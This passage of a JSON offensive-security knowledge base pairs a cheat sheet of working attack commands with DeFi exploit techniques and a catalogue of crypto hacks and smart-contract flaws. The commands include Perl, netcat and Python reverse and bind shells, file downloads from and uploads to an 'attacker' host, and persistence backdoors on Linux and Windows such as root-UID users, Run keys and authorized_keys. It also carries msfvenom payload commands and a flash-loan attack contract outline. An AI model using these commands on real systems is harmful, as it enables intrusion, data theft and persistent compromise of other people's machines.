"perl": "perl -e 'use Socket;$i=\"10.0.0.1\";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};'"
},
"bind_shells": {
"netcat": "nc -lvp 4444 -e /bin/sh",
"python": "python -c 'import socket,subprocess;s=socket.socket();s.bind((\"0.0.0.0\",4444));s.listen(1);c,a=s.accept();subprocess.call([\"/bin/sh\",\"-i\"],stdin=c,stdout=c,stderr=c)'"
},
"upgrade_shell": [
"python -c 'import pty;pty.spawn(\"/bin/bash\")'",
"export TERM=xterm",
"stty raw -echo; fg",
"reset"
]
},
"file_transfer": {
"download": {
"wget": "wget http://attacker/file",
"curl": "curl -O http://attacker/file",
"powershell": "powershell -c \"(New-Object Net.WebClient).DownloadFile('http://attacker/file','file')\"",
"certutil": "certutil -urlcache -f http://attacker/file file",
"python": "python -c \"import urllib;urllib.urlretrieve('http://attacker/file','file')\""
},
"upload": {
"nc": "nc -w 3 attacker 1234 < file",
"curl": "curl -X POST -F 'file=@file' http://attacker/upload",
"base64": "base64 file | nc attacker 1234"
},
"serve": {
"python2": "python -m SimpleHTTPServer 8000",
"python3": "python3 -m http.server 8000",
"php": "php -S 0.0.0.0:8000",
"ruby": "ruby -run -e httpd . -p 8000"
}
},
"persistence": {
"linux": [
"echo 'bash -i >& /dev/tcp/10.0.0.1/4444 0>&1' >> ~/.bashrc",
"crontab -e : */5 * * * * /tmp/backdoor.sh",
"echo 'ssh-rsa KEY' >> ~/.ssh/authorized_keys",
"useradd -o -u 0 backdoor"
],
"windows": [
"schtasks /create /sc minute /mo 5 /tn \"Update\" /tr \"C:\\temp\\backdoor.exe\"",
"reg add HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run /v Update /t REG_SZ /d C:\\temp\\backdoor.exe",
"net user backdoor password /add && net localgroup administrators backdoor /add"
]
}
},
"payload_generators": {
"msfvenom": {
"windows": [
"msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4444 -f exe > shell.exe",
"msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.0.0.1 LPORT=4444 -f dll > shell.dll",
"msfvenom -p windows/meterpreter/reverse_https LHOST=10.0.0.1 LPORT=443 -f psh-reflection > shell.ps1"
],
"linux": [
"msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4444 -f elf > shell.elf",
"msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.0.0.1 LPORT=4444 -f elf > shell.elf"
],
"web": [
"msfvenom -p php/meterpreter_reverse_tcp LHOST=10.0.0.1 LPORT=4444 -f raw > shell.php",
"msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.0.0.1 LPORT=4444 -f war > shell.war",
"msfvenom -p python/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4444 > shell.py"
]
}
}
}
}
},
"exploits": {
"crypto_defi": {
"exploit_techniques.json": [
{
"technique": "Flash Loan Attack Pattern",
"steps": [
"1. Initiate flash loan from lending protocol (Aave, dYdX, Uniswap)",
"2. Use borrowed funds to manipulate target protocol",
"3. Exploit the manipulated state for profit",
"4. Repay flash loan with fee",
"5. Keep remaining profit"
],
"requirements": "No initial capital needed, just gas fees",
"example_code": "\n contract FlashLoanAttack {\n function executeAttack() external {\n // 1. Request flash loan\n uint256 amount = 1000000 * 10**18;\n IERC20(token).flashLoan(amount);\n }\n \n function onFlashLoan(uint256 amount) external {\n // 2. Manipulate protocol\n manipulatePrice();\n // 3. Exploit\n exploit();\n // 4. Repay\n IERC20(token).transfer(msg.sender, amount + fee);\n }\n }\n "
},
{
"technique": "MEV Bot Attack",
"steps": [
"1. Monitor mempool for profitable transactions",
"2. Calculate optimal sandwich attack parameters",
"3. Submit bundle with higher gas price",
"4. Extract value from victim transaction"
],
"requirements": "MEV bot infrastructure, capital for attacks",
"tools": [
"Flashbots",
"MEV-Boost",
"Custom mempool monitoring"
]
},
{
"technique": "Cross-Chain Bridge Attack",
"steps": [
"1. Analyze bridge validation logic",
"2. Find weakness in proof verification",
"3. Craft malicious proof or message",
"4. Submit to bridge contract",
"5. Withdraw funds that were never deposited"
],
"common_vulnerabilities": [
"Weak signature verification",
"Incorrect merkle proof validation",
"Race conditions in validation",
"Centralized validator compromise"
]
}
],
"crypto_hacks_comprehensive.json": {
"major_incidents": [
{
"name": "Ronin Bridge Hack",
"date": "2022-03-29",
"amount_usd": 625000000,
"type": "Bridge Exploit",
"attack_vector": "Private Key Compromise",
"description": "Attackers compromised private keys of 5 out of 9 validators on the Ronin Network, allowing them to forge withdrawals",
"technical_details": {
"vulnerability": "Insufficient validator security",
"exploit_method": "Social engineering and compromised private keys",
"affected_protocol": "Ronin Bridge",
"blockchain": "Ethereum, Ronin"
}
},
{
"name": "Poly Network Hack",
"date": "2021-08-10",
"amount_usd": 611000000,
"type": "Cross-chain Bridge",
"attack_vector": "Smart Contract Vulnerability",
"description": "Attacker exploited a vulnerability in the cross-chain messaging protocol to modify keeper roles",
"technical_details": {
"vulnerability": "Privilege escalation through cross-chain message manipulation",
"exploit_method": "Modified keeper contract permissions",
"affected_protocol": "Poly Network",
"blockchain": "Ethereum, BSC, Polygon"
}
},
{
"name": "FTX Collapse",
"date": "2022-11-08",
"amount_usd": 8000000000,
"type": "Exchange Fraud",
"attack_vector": "Internal Fraud/Mismanagement",
"description": "Misuse of customer funds, fraudulent accounting, and unauthorized lending of customer assets",
"technical_details": {
"vulnerability": "Lack of proper custody and internal controls",
"exploit_method": "Misappropriation of customer funds",
"affected_protocol": "FTX Exchange",
"blockchain": "Multiple"
}
},
{
"name": "Wormhole Bridge Hack",
"date": "2022-02-02",
"amount_usd": 326000000,
"type": "Bridge Exploit",
"attack_vector": "Signature Verification Bypass",
"description": "Attacker exploited a signature verification vulnerability in the Wormhole bridge guardian",
"technical_details": {
"vulnerability": "Incomplete signature verification",
"exploit_method": "Forged guardian signatures to mint tokens",
"affected_protocol": "Wormhole Bridge",
"blockchain": "Solana, Ethereum"
}
},
{
"name": "Nomad Bridge Hack",
"date": "2022-08-01",
"amount_usd": 190000000,
"type": "Bridge Exploit",
"attack_vector": "Merkle Root Validation Error",
"description": "Routine update marked an invalid merkle root as valid, allowing users to withdraw funds that didn't exist",
"technical_details": {
"vulnerability": "Incorrect merkle root validation",
"exploit_method": "Auto-proving of invalid transactions",
"affected_protocol": "Nomad Bridge",
"blockchain": "Ethereum, Moonbeam, Milkomeda"
}
},
{
"name": "Beanstalk Farms",
"date": "2022-04-17",
"amount_usd": 182000000,
"type": "Governance Attack",
"attack_vector": "Flash Loan Governance Takeover",
"description": "Attacker used flash loans to gain majority voting power and drain protocol funds",
"technical_details": {
"vulnerability": "Weak governance mechanism",
"exploit_method": "Flash loan to gain temporary voting power",
"affected_protocol": "Beanstalk",
"blockchain": "Ethereum"
}
},
{
"name": "Euler Finance Hack",
"date": "2023-03-13",
"amount_usd": 197000000,
"type": "Smart Contract Exploit",
"attack_vector": "Donation Attack",
"description": "Attacker exploited a vulnerability in the donation mechanism to inflate collateral value",
"technical_details": {
"vulnerability": "Flawed donation and liquidation logic",
"exploit_method": "Self-liquidation after donation",
"affected_protocol": "Euler Finance",
"blockchain": "Ethereum"
}
},
{
"name": "Cream Finance Hack",
"date": "2021-10-27",
"amount_usd": 130000000,
"type": "Flash Loan Attack",
"attack_vector": "Price Oracle Manipulation",
"description": "Attacker manipulated price oracles using flash loans to borrow against inflated collateral",
"technical_details": {
"vulnerability": "Vulnerable price oracle",
"exploit_method": "Flash loan price manipulation",
"affected_protocol": "Cream Finance",
"blockchain": "Ethereum"
}
},
{
"name": "BadgerDAO Hack",
"date": "2021-12-02",
"amount_usd": 120000000,
"type": "Frontend Attack",
"attack_vector": "Malicious Frontend Injection",
"description": "Attacker injected malicious code into the frontend to steal user approvals",
"technical_details": {
"vulnerability": "Compromised frontend infrastructure",
"exploit_method": "Phishing through injected malicious approvals",
"affected_protocol": "BadgerDAO",
"blockchain": "Ethereum"
}
},
{
"name": "Horizon Bridge Hack",
"date": "2022-06-23",
"amount_usd": 100000000,
"type": "Bridge Exploit",
"attack_vector": "Private Key Compromise",
"description": "Attacker compromised private keys to drain the bridge",
"technical_details": {
"vulnerability": "Compromised multisig keys",
"exploit_method": "Unauthorized withdrawals",
"affected_protocol": "Harmony Horizon Bridge",
"blockchain": "Harmony, Ethereum"
}
}
],
"smart_contract_vulnerabilities": [
{
"vulnerability": "Reentrancy",
"description": "Function can be called recursively before the first invocation completes",
"severity": "Critical",
"example_code": "\n // Vulnerable code\n function withdraw(uint amount) public {\n require(balances[msg.sender] >= amount);\n msg.sender.call{value: amount}(\"\"); // External call before state update\n balances[msg.sender] -= amount; // State update after call\n }\n ",
"mitigation": "Use checks-effects-interactions pattern, ReentrancyGuard",
"real_world_examples": [
"The DAO Hack",
"Cream Finance",
"Siren Protocol"
]
},
{
"vulnerability": "Integer Overflow/Underflow",
"description": "Arithmetic operations exceed the maximum or minimum value for the integer type",
"severity": "High",
"example_code": "\n // Vulnerable code (pre-Solidity 0.8.0)\n uint8 balance = 255;\n balance += 1; // Overflows to 0\n ",
"mitigation": "Use Solidity 0.8+ or SafeMath library",
"real_world_examples": [
"Beauty Chain (BEC)",
"SMT Token"
]
},
{
"vulnerability": "Access Control",
"description": "Improper access control allows unauthorized users to execute privileged functions",
"severity": "Critical",
"example_code": "\n // Vulnerable code\n function setOwner(address newOwner) public {\n owner = newOwner; // No access control!\n }\n ",
"mitigation": "Implement proper access modifiers (onlyOwner, role-based)",
"real_world_examples": [
"Parity Multisig Wallet",
"Rubixi"
]
},
{
"vulnerability": "Oracle Manipulation",
"description": "Price oracles can be manipulated to provide incorrect price data",
"severity": "Critical",
"example_code": "\n // Vulnerable code\n function getPrice() public view returns (uint) {\n return uniswapPair.getReserves(); // Can be manipulated with flash loans\n }\n ",
"mitigation": "Use time-weighted average prices (TWAP), multiple oracles",
"real_world_examples": [
"Harvest Finance",
"Value DeFi",
"Cheese Bank"
]
},
{
"vulnerability": "Flash Loan Attack",
"description": "Large uncollateralized loans used to manipulate protocol state",
"severity": "High",
"example_code": "\n // Attack pattern\n 1. Borrow large amount via flash loan\n 2. Manipulate price/governance/state\n 3. Exploit the manipulation\n 4. Repay flash loan\n ",
"mitigation": "Flash loan resistant price oracles, time delays",
"real_world_examples": [
"bZx",
"Harvest Finance",
"PancakeBunny"
]
},
{
"vulnerability": "Front-running",
"description": "Transactions can be front-run by observing the mempool",
"severity": "Medium",
"example_code": "\n // Vulnerable pattern\n function buyToken() public {\n // Predictable transaction that can be front-run\n price = calculatePrice();\n transfer(msg.sender, amount);\n }\n ",
"mitigation": "Commit-reveal schemes, private mempools, MEV protection",
"real_world_examples": [
"Bancor",
"Various DEX trades"
]
},
{
"vulnerability": "Delegate Call Injection",
"description": "Unsafe delegatecall allows attacker to execute arbitrary code",
"severity": "Critical",
"example_code": "\n // Vulnerable code\n function execute(address target, bytes data) public {\n target.delegatecall(data); // Executes in current contract's context\n }\n ",
"mitigation": "Restrict delegatecall targets, validate input",
"real_world_examples": [
"Parity Wallet Hack"
]
},
{
"vulnerability": "Signature Replay",
"description": "Signatures can be reused in different contexts",
"severity": "High",
"example_code": "\n // Vulnerable code\n function withdraw(uint amount, bytes signature) public {\n require(verifySignature(amount, signature));\n transfer(msg.sender, amount);\n // Signature can be replayed!\n }\n ",
"mitigation": "Include nonce, chainId, contract address in signed data",
"real_world_examples": [
"Various cross-chain bridges"
]
},
{
"vulnerability": "Unchecked Return Values",
"description": "Failed external calls not properly handled",
"severity": "Medium",
"example_code": "\n // Vulnerable code\n function transferToken(address token, uint amount) public {\n IERC20(token).transfer(msg.sender, amount); // Return value not checked\n }\n ",
"mitigation": "Always check return values, use SafeERC20",
"real_world_examples": [
"Various DeFi protocols"
]
},
{
"vulnerability": "Initialization Issues",
"description": "Contracts not properly initialized or can be re-initialized",
"severity": "Critical",
"example_code": "\n // Vulnerable proxy pattern\n function initialize(address _owner) public {\n // Missing check if already initialized\n owner = _owner;\n }\n ",
"mitigation": "Use initializer modifier, prevent re-initialization",
"real_world_examples": [
"Parity Wallet",
"Various proxy implementations"
]
}
],
"defi_attack_vectors": [
{
"vector": "Sandwich Attack",
"description": "Front-run and back-run a transaction to extract value",
"mechanism": "1. Detect large trade in mempool\n2. Front-run to move price\n3. Let victim trade at worse price\n4. Back-run to capture profit",
"prevention": "MEV protection, private mempools, slippage limits"
},
{
"vector": "Governance Attack",
"description": "Exploit governance mechanisms to drain funds",
"mechanism": "1. Accumulate voting power (buy/borrow/flash loan)\n2. Create malicious proposal\n3. Vote and execute immediately\n4. Drain funds",
"prevention": "Time locks, vote delegation limits, quorum requirements"
},
{
"vector": "Liquidity Pool Manipulation",
"description": "Manipulate AMM pool ratios for profit",
"mechanism": "1. Add/remove liquidity to skew ratios\n2. Execute trades at manipulated prices\n3. Restore pool state\n4. Profit from arbitrage",
"prevention": "TWAP oracles, larger pools, multi-block delays"
},
{
"vector": "Yield Farm Rugpull",
"description": "Malicious yield farms that steal deposits",
"mechanism": "1. Create attractive yield farm\n2. Add migrator function or backdoor\n3. Wait for TVL to grow\n4. Drain all funds via backdoor",
"prevention": "Audit contracts, check for migrator functions, timelock"
},
{
"vector": "Bridge Exploit",
"description": "Exploit cross-chain bridge vulnerabilities",
"mechanism": "1. Find vulnerability in validation\n2. Forge proof or signatures\n3. Mint tokens without deposit\n4. Drain bridge reserves",
"prevention": "Multiple validators, proper signature verification, audits"
}
],
"statistics": {
"total_value_hacked_2021": 3200000000,
"total_value_hacked_2022": 3800000000,
"total_value_hacked_2023": 1700000000,
"most_common_attack_vectors": [
"Smart Contract Vulnerability",
"Private Key Compromise",
"Flash Loan Attack",
"Bridge Exploit",
"Rug Pull"
]
}
}
}
},
"exploitation_guides": {
"web_exploitation": {
"sql_injection": {
"tools": [
"SQLMap",
"Burp Suite"
]
},
"xss": {
"types": [
"Reflected",
"Stored",
"DOM-based"
]
}
}
}
} |